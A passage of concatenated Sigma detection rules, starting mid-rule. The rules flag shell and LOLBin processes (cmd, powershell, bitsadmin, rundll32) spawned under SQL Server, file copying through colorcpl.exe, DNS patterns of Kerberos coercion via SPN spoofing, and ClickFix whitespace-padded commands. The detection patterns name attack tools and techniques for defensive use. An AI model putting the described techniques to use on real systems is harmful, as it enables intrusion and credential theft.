        Image|endswith:
            # You can add other uncommon or suspicious processes
            - '\bash.exe'
            - '\bitsadmin.exe'
            - '\cmd.exe'
            - '\netstat.exe'
            - '\nltest.exe'
            - '\ping.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\regsvr32.exe'
            - '\rundll32.exe'
            - '\sh.exe'
            - '\systeminfo.exe'
            - '\tasklist.exe'
            - '\wsl.exe'
    filter_optional_datev:
        ParentImage|startswith: 'C:\Program Files\Microsoft SQL Server\'
        ParentImage|endswith: 'DATEV_DBENGINE\MSSQL\Binn\sqlservr.exe'
        Image: 'C:\Windows\System32\cmd.exe'
        CommandLine|startswith: '"C:\Windows\system32\cmd.exe" '
    condition: selection and not 1 of filter_optional_*
level: high

title: Suspicious Creation with Colorcpl
id: e15b518d-b4ce-4410-a9cd-501f23ce4a18
status: test
description: Once executed, colorcpl.exe will copy the arbitrary file to c:\windows\system32\spool\drivers\color\
references:
    - https://twitter.com/eral4m/status/1480468728324231172?s=20
author: frack113
date: 2022-01-21
modified: 2023-01-05
tags:
    - attack.stealth
    - attack.t1564
logsource:
    product: windows
    category: file_event
detection:
    selection:
        Image|endswith: '\colorcpl.exe'
    filter_ext:
        TargetFilename|endswith:
            - '.icm'
            - '.gmmp'
            - '.cdmp'
            - '.camp'
    condition: selection and not 1 of filter_*
falsepositives:
    - Unknown
level: high

title: Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing - Network
id: 5588576c-5898-4fac-bcdd-7475a60e8f43
related:
    - id: b07e58cf-cacc-4135-8473-ccb2eba63dd2 # Potential Kerberos Coercion via DNS Object Spoofing
      type: similar
    - id: e7a21b5f-d8c4-4ae5-b8d9-93c5d3f28e1c # Suspicious DNS Query Indicating Kerberos Coercion via DNS Object Spoofing
      type: similar
status: experimental
description: |
    Detects DNS queries containing patterns associated with Kerberos coercion attacks via DNS object spoofing.
    The pattern "1UWhRCAAAAA..BAAAA" is a base64-encoded signature that corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure.
    Attackers can use this technique to coerce authentication from victim systems to attacker-controlled hosts.
    It is one of the strong indicators of a Kerberos coercion attack, where adversaries manipulate DNS records
    to spoof Service Principal Names (SPNs) and redirect authentication requests like CVE-2025-33073.
references:
    - https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
    - https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-06-20
tags:
    - attack.collection
    - attack.credential-access
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1557.001
    - attack.t1187
logsource:
    product: zeek
    service: dns
detection:
    selection:
        query|contains|all:
            - 'UWhRCA' # Follows this pattern UWhRCAAAAA..BAAA
            - 'BAAAA'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Suspicious Explorer Process with Whitespace Padding - ClickFix/FileFix
id: 3ae9974a-eb09-4044-8e70-8980a50c12c8
related:
    - id: 8f2a5c3d-9e4b-4a7c-8d1f-2e5a6b9c3d7e
      type: similar
    - id: 7a1b4c5e-8f3d-4b9a-7c2e-1f4a5b8c6d9e
      type: similar
status: experimental
description: |
    Detects process creation with suspicious whitespace padding followed by a '#' character, which may indicate ClickFix or FileFix techniques used to conceal malicious commands from visual inspection.
    ClickFix and FileFix are social engineering attack techniques where adversaries distribute phishing documents or malicious links that deceive users into opening the Windows Run dialog box or File Explorer search bar.
    The victims are then instructed to paste commands from their clipboard, which contain extensive whitespace padding using various Unicode space characters to push the actual malicious command far to the right, effectively hiding it from immediate view.
references:
    - https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/
    - https://mrd0x.com/filefix-clickfix-alternative/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-11-04
modified: 2025-11-26
tags:
    - attack.execution
    - attack.stealth
    - attack.t1204.004
    - attack.t1027.010
logsource:
    category: process_creation
    product: windows
detection:
    selection_explorer:
        ParentImage|endswith: '\explorer.exe'
        CommandLine|contains: '#'
    selection_space_variation:
        CommandLine|contains:
            - '            ' # En Quad (U+2000)
            - '            ' # Em Quad (U+2001)
            - '            ' # En Space (U+2002)
            - '            ' # Em Space (U+2003)
            - '            ' # Three-Per-Em Space (U+2004)
            - '            ' # Four-Per-Em Space (U+2005)
            - '            ' # Six-Per-Em Space (U+2006)
            - '            ' # Figure Space (U+2007)
            - '            ' # Punctuation Space (U+2008)
            - '            ' # Thin Space (U+2009)
            - '            ' # Hair Space (U+200A)
            - '            ' # No-Break Space (U+00A0)
            - '            ' # Normal space (0x20)
    condition: all of selection_*
falsepositives:
    - Unknown
level: high